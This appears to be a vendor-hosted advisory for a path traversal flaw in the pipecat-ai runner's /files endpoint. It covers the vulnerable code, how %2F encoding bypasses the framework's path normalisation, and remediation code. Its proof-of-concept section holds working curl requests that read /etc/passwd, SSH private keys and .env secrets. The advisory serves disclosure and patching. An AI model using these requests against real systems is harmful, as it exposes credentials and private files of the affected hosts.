CVE-2026-44716

CVE-2026-44716 is a high-severity path traversal vulnerability in pipecat-ai (pip), affecting versions >= 0.0.90, < 1.2.0. It is fixed in 1.2.0.

Check whether CVE-2026-44716 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

Pipecat: Path Traversal in Pipecat Runner /files Endpoint, Arbitrary File Read via %2F-Encoded Separator

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access, including SSH private keys, credentials, and system files, with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join, only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication, the runner does not implement any auth layer, so the request requires no credentials.

Proof of Concept

Step 1, Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output:

Step 2, Exploit

# Legitimate request, serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../, blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators, bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

Request HTTP status Content
GET /files/recording.txt 200 Legitimate file
GET /files/../../etc/passwd 404 Blocked, literal .. normalised away
GET /files/..%2F..%2Fetc%2Fpasswd 200 Full /etc/passwd
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa 200 RSA private key (BEGIN OPENSSH PRIVATE KEY)

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

  • SSH private keys and TLS certificates
  • .env files and application credentials
  • Database files, session tokens, API keys
  • System files such as /etc/passwd and /etc/shadow (on Linux)
  • Source code, config files, and secrets in parent directories of --folder

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-44716 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.0); upgrading removes the vulnerable code path.

Affected versions

pipecat-ai (>= 0.0.90, < 1.2.0)

Security releases

pipecat-ai → 1.2.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

Frequently Asked Questions

  1. What is CVE-2026-44716? CVE-2026-44716 is a high-severity path traversal vulnerability in pipecat-ai (pip), affecting versions >= 0.0.90, < 1.2.0. It is fixed in 1.2.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-44716? CVE-2026-44716 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of pipecat-ai are affected by CVE-2026-44716? pipecat-ai (pip) versions >= 0.0.90, < 1.2.0 is affected.
  4. Is there a fix for CVE-2026-44716? Yes. CVE-2026-44716 is fixed in 1.2.0. Upgrade to this version or later.
  5. Is CVE-2026-44716 exploitable, and should I be worried? Whether CVE-2026-44716 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-44716 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-44716? Upgrade pipecat-ai to 1.2.0 or later.

Other vulnerabilities in pipecat-ai

Stop the waste.
Protect your environment with Kodem.